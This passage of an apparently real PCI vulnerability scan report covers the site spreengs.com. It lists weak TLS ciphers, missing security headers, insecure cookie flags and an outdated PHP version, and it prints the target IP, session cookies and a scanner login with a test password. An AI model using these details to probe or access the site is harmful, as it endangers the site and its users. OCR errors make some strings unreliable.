OpenSSL, it is recommended that the following be used to give the best guarantee for strong encryption: SSLCipherSuite HIGH:!aNULL:!leNULL:!PSK:!RC4:!MD5 For
Windows systems running Internet Information Server (1IS), refer to the following Knowledge Base article for disabling certain cryptographic algorithms and protocols:
http://support.microsoft.com/kb/245030.

EVIDENCE:
Cipher Suite: TLSv1_2 : AECDH-AES256-SHA

Cipher Suite: TLSv1_2 : ADH-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ADH-AES256-SHA256

Cipher Suite: TLSv1_2 : ADH-AES256-SHA

Cipher Suite: TLSv1_2 : ADH-CAMELLIA256-SHA

Cipher Suite: TLSv1_2 : AECDH-AES128-SHA

Cipher Suite: TLSv1_2 : ADH-AES128-GCM-SHA256
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Cipher Suite: TLSv1_2 : ADH-AES128-SHA256
Cipher Suite: TLSv1_2 : ADH-AES128-SHA

Cipher Suite: TLSv1_2 : ADH-CAMELLIA128-SHA

SSL Certificate Expiring Soon port 2083/tcp
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160
Category: Digital Certificate
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:25.0

THREAT:
This SSL certificate is currently valid; however, it is set to expire in the near future.

SOLUTION:

Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /IC=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0
Expiration Date: 2026-06-21 12:56:50 UTC

Days to expiration: 64

SSL Certificate Expiring Soon port 2087/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =
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m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160
Category: Digital Certificate
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:25.0

THREAT:
This SSL certificate is currently valid; however, it is set to expire in the near future.

SOLUTION:

Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0
Expiration Date: 2026-06-21 12:56:50 UTC

Days to expiration: 64

SSHv2 Cipher Enumeration port 22/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: o

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2011-0546
Category: Service Configuration
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:10:37.0
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THREAT:
VikingCloud was able to enumerate encryption ciphers available on an SSHv2 server. This is expected functionality of an SSH server and only represents an
informational finding.

SOLUTION:
No remediation in necessary for this finding.

EVIDENCE:

SSHv2 Key Exchange Algorithms: curve25519-sha256,curve25519-sha256 @libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-
exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-shal,diffie-hellman-group14-sha256,diffie-hellman-
groupl4-shal,diffie-hellman-group1-shal

SSHv2 Server Host Key Exchange Algorithms: ssh-rsa,rsa-sha2-512,rsa-sha2-256,ecdsa-sha2-nistp256,ssh-ed25519

SSHv2 Encryption Algorithms Client to Server: chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.
com,aes128-cbc,aes192-chc,aes256-cbc,blowfish-cbc,cast128-cbc,3des-cbc

SSHv2 Encryption Algorithms Server to Client: chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.
com,aes128-cbc,aes192-chc,aes256-cbc,blowfish-cbec,cast128-cbc,3des-cbc

SSHv2 MAC Algorithms Client to Server: umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.
com,hmac-shal-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-shal

SSHv2 MAC Algorithms Server to Client: umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.
com,hmac-shal-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-shal

SSHv2 Compression Algorithms Client to Server: none,zlib@openssh.com
SSHv2 Compression Algorithms Server to Client: none,zlib@openssh.com
SSHv2 Languages Client to Server:

SSHv2 Languages Server to Client:

SSL Certificate Expiring Soon port 465/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: [ row |

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160
Category: Digital Certificate
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 00:33:25.0
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THREAT:
This SSL certificate is currently valid; however, it is set to expire in the near future.

SOLUTION:

Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /IC=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0
Expiration Date: 2026-06-21 12:56:50 UTC

Days to expiration: 64

SSL Perfect Forward Secrecy Supported port 2096/tcp
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0144

Category: Service Configuration

CVE ID: -

Vendor Reference: -

Last Update: 2021-08-13 00:04:10.0
THREAT:

The server supports Ephemeral Diffie-Hellman ciphers for the SSL/TLS key exchange phase. Using this algorithm enforces Forward Secrecy for secure communications
with the server.

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256
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Wildcard SSL Certificate Detected port 587/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0155
Category: Digital Certificate
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:12.0

THREAT:

An SSL certificate with a wildcarded common name (CN) record (e.g., *.mydomain.com) was detected on this service.

SOLUTION:

Review your certificate configurations to assure that wildcard certificates are suitable for your application.

EVIDENCE:
Subject: /CN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0

Wildcard Subject Name: *.spreengs.com

Scanner Info port null/null

PCI COMPLIANCE STATUS

PCI Severity Level: ol

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0
Severity: low
SLID: SLID-2022-6487
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Category:
CVE ID:
Vendor Reference:

Last Update:

THREAT:
Scanner Info

SOLUTION:
Scanner Info

EVIDENCE:
Target IP: 67.227.216.61

Scanner IP: ["10.200.0.4"]

Current Time: 17/04/2026 14:13

Framework Version: 10.89.0

CVT Version: 1.68.0

Carrier Version: 1.168.0

Information

2022-06-10 13:32:42.0

SMTP Service Supports the STARTTLS Command

PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

0.0

low
SLID-2010-0609
Weak Cryptography

2020-11-06 01:04:39.0

The SMTP service running on this host supports encryption using the STARTTLS command.

SOLUTION:

No remediation necessary. This is identified for informational purposes.

EVIDENCE:
Message: 220 TLS go ahead

port 587/tcp
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HTTPS://spreengs.com:2083/ (HTTPS://spreengs.com:2083/, )

Vulnerabilities total: 4

Vulnerabilities (4)

Insecure configuration of Cookie attributes port 2083/https
PCI COMPLIANCE STATUS

PCI Severity Level:

- This vulnerability is not recognized in the National Vulnerability Database.
FAIL

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382

Category: Application Vulnerability

CVE ID: -

Vendor Reference: -

Last Update: 2021-12-20 20:39:03.0
THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a 'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found
timezone = etc/utc

Path =/

Host = spreengs.com

Cookie does not have an HTTPOnly Attribute
Cookie Change Observed on CLIENTSside

Request: POST https://spreengs.com:2083/login/?login_only=1 HTTP/1.1

Referer: https://spreengs.com:2083/

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Content-type: application/x-www-form-urlencoded

Cookie: timezone=Etc/UTC; cpsession=%3aVJcO0dxlem1m3FH3%2c0189118d157e78c7baelab386aaadebe
Content-Length: 39

user=CHSuser&pass=Passworl&goto_uri=%2F
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location: https://spreengs.com:2083/login/?login_only=1

Insufficient or No use of Strict Transport Security header

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

This vulnerability is not recognized in the National Vulnerability Database.

0.0
low
SLID-2015-0160

Information Leak

2021-06-17 20:46:23.0

port 2083/https

HTTP Strict Transport Security (HSTS) is an opt-in security enhancement that is specified by a web application through the use of a special response header. Once a
supported browser receives this header that browser will prevent any communications from being sent over HTTP to the specified domain and will instead send all
communications over HTTPS. It also prevents HTTPS click through prompts on browsers.

SOLUTION:

Example of response header use- Strict-Transport-Security: max-age=31536000

EVIDENCE:

DetectionDetails: No HSTS implemented for HTTPS

Request: GET https://spreengs.com:2083/ HTTP/1.1

Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

location: https://spreengs.com:2083/

SmartAttack Recon Info (filtered)

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

port 2083/https
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CVSS Base Score: 0.0

Severity: low

SLID: SLID-2018-0383
Category: Information
CVE ID: -

Vendor Reference: -
Last Update: 2020-01-08 17:23:38.0

THREAT:
Identifies session IDs and gathers various info on the application to hand to other SmartAttacks.

SOLUTION:
N/A

EVIDENCE:
DetectionDetails: Session ID found
cpsession=%3aslw9D96wlcyUNSLh%2c4f3732ch6fc756d1185b2b7e96c0bd68

Request: POST https://spreengs.com:2083/login/ HTTP/1.1

Origin: https://spreengs.com:2083

Cookie: timezone=Etc/UTC; cpsession=%3aVJcO0dxlem1m3FH3%2c0189118d157e78c7baela5386aaadebe
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Referer: https://spreengs.com:2083/

Content-Length: 26

Content-Type: application/x-www-form-urlencoded

user=CHSuser&pass=Passworl

location: https://spreengs.com:2083/login/

Insecure configuration of Cookie attributes
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382
Category: Application Vulnerability
CVE ID: -

Vendor Reference: -
Last Update: 2021-12-20 20:39:03.0

port 2083/https

Sysnet Scanning Management System April 17, 2026

Page 87



PCI Scan Vulnerability Report

THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a 'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found
session_locale = ar

Path =/

Host = spreengs.com

Cookie does not have an HTTPOnly Attribute

Request: GET https://spreengs.com:2083/?locale=ar HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Cookie: cpsession=%3asIw9D96wlcyUNSLh%2c4f3732cb6fc756d1185b2b7e96c0bd68; timezone=Etc/UTC

location: https://spreengs.com:2083/?locale=ar

HTTPS://www.spreengs.com:443/ (HTTPS://www.spreengs.com:443/, )

Vulnerabilities total: 23

Vulnerabilities (23)

Misconfigured HTTP Caching port 443/https
PCI COMPLIANCE STATUS

PCI Severity Level:

- This vulnerability is not recognized in the National Vulnerability Database.
FAIL

VULNERABILITY DETAILS

CVSS Base Score: 4.0

Severity: medium

SLID: SLID-2025-0203
Category: Temporary Data
CVE ID: -

Vendor Reference:

Last Update:

THREAT:

2025-03-18 23:25:06.0

Resources are implicitly allowed to be cached by default. There are different layers of caching such as the browser, local proxy, CDN, and server cache. The Cache-
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Control header controls how resources are cached across the various layers. The security guideline for Cache-Control will depend upon the context of the resource,
usually determined by the presence of sensitive information. The absence of a Cache-Control header will function similar to 'Cache-Control: public'. The resource can be
cached throughout different layers. Web cache poisoning is an exploit that can take advantage of caching regardless of whether or not the resources contain sensitive
information. Because of this, 'Cache-Control: public' and having no Cache-Control header should be avoided. For general purposes, the default directive for non-sensitive
resources should be 'Cache-Control: no-cache'. For sensitive resources, it is recommended to use 'Cache-Control: max-age=0, must-revalidate, no-cache, no-store,
private'. Using just 'no-store' is not sufficient because it only prevents caching to disk. Many browsers can still cache resources to memory and leak sensitive information
via other exploits.

SOLUTION:
Set 'Cache-Control: no-cache' for non-sensitive resources. Set 'Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private' for sensitive resources.

EVIDENCE:
DetectionDetails: Deprecated Pragma header found in the response. Only include this header for legacy HTTP/1.0 compatibility.

REQUEST URL
GET https://www.spreengs.com/

RESPONSE HEAD

HTTP/1.1 200 OK

Date: Fri, 17 Apr 2026 16:06:38 GMT
Server: Apache

X-Powered-By: PHP/5.6.40

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache

Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip

Content-Length: 4701

Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

Content-Type: text/html; charset=UTF-8

This issue is found on multiple pages:
Displaying the first (50/142) items

GET https://www.spreengs.com/

GET https://www.spreengs.com/create-your-own

GET https://www.spreengs.com/medium-white-video-box-with-flap

GET https://www.spreengs.com/medium-pink-leather-box

GET https://www.spreengs.com/small-pink-leather-box

GET https://www.spreengs.com/page/video_greeting_card%7Cblank_card/88
GET https://www.spreengs.com/page/video_greeting_card%7Cupload_card/87
GET https://www.spreengs.com/Check-out/shoppingcart

GET https://www.spreengs.com/Check-out/shippingaddress

GET https://www.spreengs.com/accounts/4

GET https://www.spreengs.com/the-magnet

GET https://www.spreengs.com/page/video_greeting_card%?7Cstart_designing/89
GET https://www.spreengs.com/page/video_greeting_card%7Cleaveitblank/90
GET https://www.spreengs.com/large-white-video-box

GET https://www.spreengs.com/the-pocket-size

GET https://www.spreengs.com/medium-white-video-box

GET https://www.spreengs.com/large-green-leather-video-box

GET https://www.spreengs.com/the-rectangle

GET https://www.spreengs.com/large-gold-leather-video-box

GET https://www.spreengs.com/the-square
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GET https://www.spreengs.com/large-bronze-leather-video-box
GET https://www.spreengs.com/the-folder

GET https://www.spreengs.com/large-black-leather-box

GET https://www.spreengs.com/large-red-leather-box

GET https://www.spreengs.com/large-blue-leather-box

GET https://www.spreengs.com/large-grey-leather-box

GET https://www.spreengs.com/large-white-leather-box

GET https://www.spreengs.com/medium-green-leather-video-box
GET https://www.spreengs.com/medium-gold-leather-video-box
GET https://www.spreengs.com/medium-bronze-leather-video-box
GET https://www.spreengs.com/medium-black-leather-box

GET https://www.spreengs.com/medium-red-leather-box

GET https://www.spreengs.com/medium-blue-leather-box

GET https://www.spreengs.com/medium-grey-leather-box

GET https://www.spreengs.com/medium-white-leather-box

GET https://www.spreengs.com/small-green-leather-video-box
GET https://www.spreengs.com/small-gold-leather-video-box
GET https://www.spreengs.com/small-bronze-leather-video-box
GET https://www.spreengs.com/small-black-leather-box

GET https://www.spreengs.com/small-blue-leather-box

GET https://www.spreengs.com/small-grey-leather-box

GET https://www.spreengs.com/small-white-leather-box

GET https://www.spreengs.com/video-greeting-cards

GET https://www.spreengs.com/video-greeting-cards/create-your-own
GET https://www.spreengs.com/video-greeting-cards/birthday
GET https://www.spreengs.com/the-one-with-the-birthday-stars

GET https://www.spreengs.com/video-greeting-cards/birthday/the-one-with-the-sprinkled-cupcake

GET https://www.spreengs.com/the-one-with-the-birthday-cake
GET https://www.spreengs.com/the-one-with-the-sparkling-cupcake
GET https://www.spreengs.com/the-one-with-the-happy-birthday-cake

Request: GET https://www.spreengs.com/ HTTP/1.1
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Cookie: _ga_5NFFSRM1X5=GS2.2.s1776441978$01$g0$t1776441978$j603$I0$h0; _gat=1; gid=GA1.2.1509268829.1776441978; ga=GAL.
2.1435567823.1776441978; PHPSESSID=754tvwpggm8ch2d91rtokogfo7

location: https://www.spreengs.com/

Embedded links or code from out-of-scope domains

PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

port 443/https
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SLID: SLID-2017-0329

Category: Integrity

CVE ID: -

Vendor Reference: -

Last Update: 2019-05-03 01:34:35.0
THREAT:

Externally served scripts or objects can present a security risk because they are not subject to system and application controls. Including scripts from untrusted domains
can result into any one of following 1- Loss of control over changes to the application. 2- Execution of arbitrary code on client systems. 3- Disclosure or leakage of
sensitive information to 3rd parties.

SOLUTION:

If external scripts are necessary to provide a particular service then get the scripts from the third party, perform a review for functionality and integrity and post it on a web
server.

EVIDENCE:

DetectionDetails: Following External Links Found:

<script type="text/javascript" src="//ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js"></script>

<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">

</script>

Request: GET https://www.spreengs.com/ HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.51776441978%01$g0$t1776441978%$j60$I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GAl.
2.1435567823.1776441978; PHPSESSID=754tvvpggm8ch2d91rtokogfo7

location: https://www.spreengs.com/

Insufficient or No use of Strict Transport Security header port 443/https
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2015-0160
Category: Information Leak
CVE ID: -

Vendor Reference: -
Last Update: 2021-06-17 20:46:23.0
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THREAT:

HTTP Strict Transport Security (HSTS) is an opt-in security enhancement that is specified by a web application through the use of a special response header. Once a
supported browser receives this header that browser will prevent any communications from being sent over HTTP to the specified domain and will instead send all
communications over HTTPS. It also prevents HTTPS click through prompts on browsers.

SOLUTION:
Example of response header use- Strict-Transport-Security: max-age=31536000

EVIDENCE:
DetectionDetails: No HSTS implemented for HTTPS

Request: GET https://www.spreengs.com/ HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.5s1776441978%01$g0$t1776441978%$j60$I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GAl.
2.1435567823.1776441978; PHPSESSID=754tvvpqgm8cb2d91rtokoqfo?

location: https://www.spreengs.com/

Embedded links or code from out-of-scope domains port 443/https
PCI COMPLIANCE STATUS

PCI Severity Level: [ row |

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0329

Category: Integrity

CVE ID: -

Vendor Reference: -

Last Update: 2019-05-03 01:34:35.0
THREAT:

Externally served scripts or objects can present a security risk because they are not subject to system and application controls. Including scripts from untrusted domains
can result into any one of following 1- Loss of control over changes to the application. 2- Execution of arbitrary code on client systems. 3- Disclosure or leakage of
sensitive information to 3rd parties.

SOLUTION:

If external scripts are necessary to provide a particular service then get the scripts from the third party, perform a review for functionality and integrity and post it on a web
server.

EVIDENCE:

DetectionDetails: Limit Exceeded. 128 or more item(s) were reported.

location: https://www.spreengs.com/
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Embedded links or code from out-of-scope domains port 443/https
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0329

Category: Integrity

CVE ID: -

Vendor Reference: -

Last Update: 2019-05-03 01:34:35.0
THREAT:

Externally served scripts or objects can present a security risk because they are not subject to system and application controls. Including scripts from untrusted domains
can result into any one of following 1- Loss of control over changes to the application. 2- Execution of arbitrary code on client systems. 3- Disclosure or leakage of
sensitive information to 3rd parties.

SOLUTION:

If external scripts are necessary to provide a particular service then get the scripts from the third party, perform a review for functionality and integrity and post it on a web
server.

EVIDENCE:

DetectionDetails: Following External Links Found:

<script type="text/javascript" src="//code.jquery.com/jquery-2.1.4.js"></script>

<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">
</script>

Request: GET https://www.spreengs.com/create-your-own HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.51776441978%01$g1$t1776441999$j39%$I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GAl.
2.1435567823.1776441978; PHPSESSID=754tvvpggm8ch2d91rtokogfo7

location: https://www.spreengs.com/create-your-own

Server Banner Disclosure port 443/https
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.
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VULNERABILITY DETAILS

CVSS Base Score: 54

Severity: medium

SLID: SLID-2019-0179
Category: Application Vulnerability
CVE ID: -

Vendor Reference: -
Last Update: 2019-05-10 06:25:11.0

THREAT:

Many times server banner includes a version number of the server or the technology used. Information of known security issues for particular versions of servers are
available on various security forums. Even if such version number is not present, knowing the server or technology may help the attacker to perform more focused
attacks.

SOLUTION:

Always configure the web servers to not disclose more information about the server from the response headers.

EVIDENCE:

DetectionDetails: Found Server banner.

This issue is found on multiple pages:
Displaying the first (10/142) items

GET https://www.spreengs.com/
Server: Apache

GET https://www.spreengs.com/create-your-own
Server: Apache

GET https://lwww.spreengs.com/medium-white-video-box-with-flap
Server: Apache

GET https://lwww.spreengs.com/medium-pink-leather-box
Server: Apache

GET https://www.spreengs.com/small-pink-leather-box
Server: Apache

GET https://www.spreengs.com/page/video_greeting_card%7Cblank_card/88
Server: Apache

GET https://www.spreengs.com/page/video_greeting_card%7Cupload_card/87
Server: Apache

GET https://lwww.spreengs.com/Check-out/shoppingcart
Server: Apache

GET https://lwww.spreengs.com/Check-out/shippingaddress
Server: Apache

GET https://lwww.spreengs.com/accounts/4
Server: Apache

Request: GET https://www.spreengs.com/ HTTP/1.1
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Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Cookie: _ga_5NFFSRM1X5=GS2.2.s1776441978$01$g0$t1776441978$j60$I0$h0; _gat=1; gid=GA1.2.1509268829.1776441978; _ga=GAL.

2.1435567823.1776441978; PHPSESSID=754tvwpgqm8ch2d91rtokogfo?

location: https://www.spreengs.com/

Insecure or no Content-Security-Policy header

PCI COMPLIANCE STATUS

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

Low

0.0

low

SLID-2015-0384
Application Vulnerability

2021-11-17 22:56:11.0

port 443/https

Content-Security-Policy (CSP) is a W3C specification offering the possibility to instruct the client browser from which location and/or which type of resources are allowed

to be loaded. This header can be useful to prevent Cross-Site Scripting issues present on the site, if used correctly.

SOLUTION:

Consider utilizing strict Content-Security-Policy header option to prevent Cross-Site Scripting issues.

EVIDENCE:

DetectionDetails: No Content-Security-Policy present for entire application

Request: GET https://www.spreengs.com/ HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36
Cookie: _ga_5NFFSRM1X5=GS2.2.5s1776441978%$01$90$t1776441978%$j60$I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GAl.

2.1435567823.1776441978; PHPSESSID=754tvvpggm8ch2d91rtokogfo7

location: https://www.spreengs.com/

Insecure configuration of Cookie attributes

PCI COMPLIANCE STATUS

port 443/https
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PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 5.3

Severity: medium

SLID: SLID-2015-0382
Category: Application Vulnerability
CVE ID: -

Vendor Reference: -
Last Update: 2021-12-20 20:39:03.0

THREAT:

A Cookie Vulnerability helps an attacker to gain access to session information stored in cookies. It may also be used as a 'locator' attack that precedes a Cross-Site
Scripting (XSS) or Man-In-The-Middle attack. When looking for Cookie Vulnerabilities, an attacker will first observe cookies through various HTTP proxies and check their
attributes. The attacker will then try to steal cookies of various users by employing multiple attacks. If successful, he/she may be able to get sensitive information which
can be further used in an illegitimate way.

SOLUTION:

It is important to set Secure and HTTPOnly flags for all the cookies on the application. The Secure flag prevents cookies from being transmitted over clear text. An
HTTPOnly flag would limit cookie access in cases of Cross-Site Scripting issues. Proper Caching headers should be set for responses carrying the cookie. Cookies set on
the client side should also contain Secure and HTTPOnly tags.

EVIDENCE:

DetectionDetails: Cookie Vulnerabilities Found
_gid = gal.2.1509268829.1776441978

Path =/

Host = .spreengs.com

Cookie does not have secure attribue in HTTPS
Cookie does not have an HTTPOnly Attribute
Cookie Change Observed on CLIENTSside

Request: GET https://www.spreengs.com/ HTTP/1.1

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36

Cookie: _ga_5NFFSRM1X5=GS2.2.5s1776441978%01$g0$t1776441978%$j60$I0$h0; _gat=1; _gid=GA1.2.1509268829.1776441978; _ga=GAl.
2.1435567823.1776441978; PHPSESSID=754tvvpggm8ch2d91rtokogfo7

location: https://www.spreengs.com/

Embedded links or code from out-of-scope domains port 443/https

PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.
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VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0329

Category: Integrity

CVE ID: -

Vendor Reference: -

Last Update: 2019-05-03 01:34:35.0
THREAT:

Externally served scripts or objects can present a security risk because they are not subject to system and application controls. Including scripts from untrusted domains
can result into any one of following 1- Loss of control over changes to the application. 2- Execution of arbitrary code on client systems. 3- Disclosure or leakage of
sensitive information to 3rd parties.

SOLUTION:

If external scripts are necessary to provide a particular service then get the scripts from the third party, perform a review for functionality and integrity and post it on a web
server.

EVIDENCE:

DetectionDetails: Following External Links Found:

<script type="text/javascript" src="//code.jquery.com/jquery-2.1.4.js"></script>

<script type="text/javascript" src="//www.googleadservices.com/pagead/conversion.js">

</script>

Request: GET https://www.spreengs.com/Check-out/shoppingcart HTTP/1.1

Upgrade-Insecure-Requests: 1

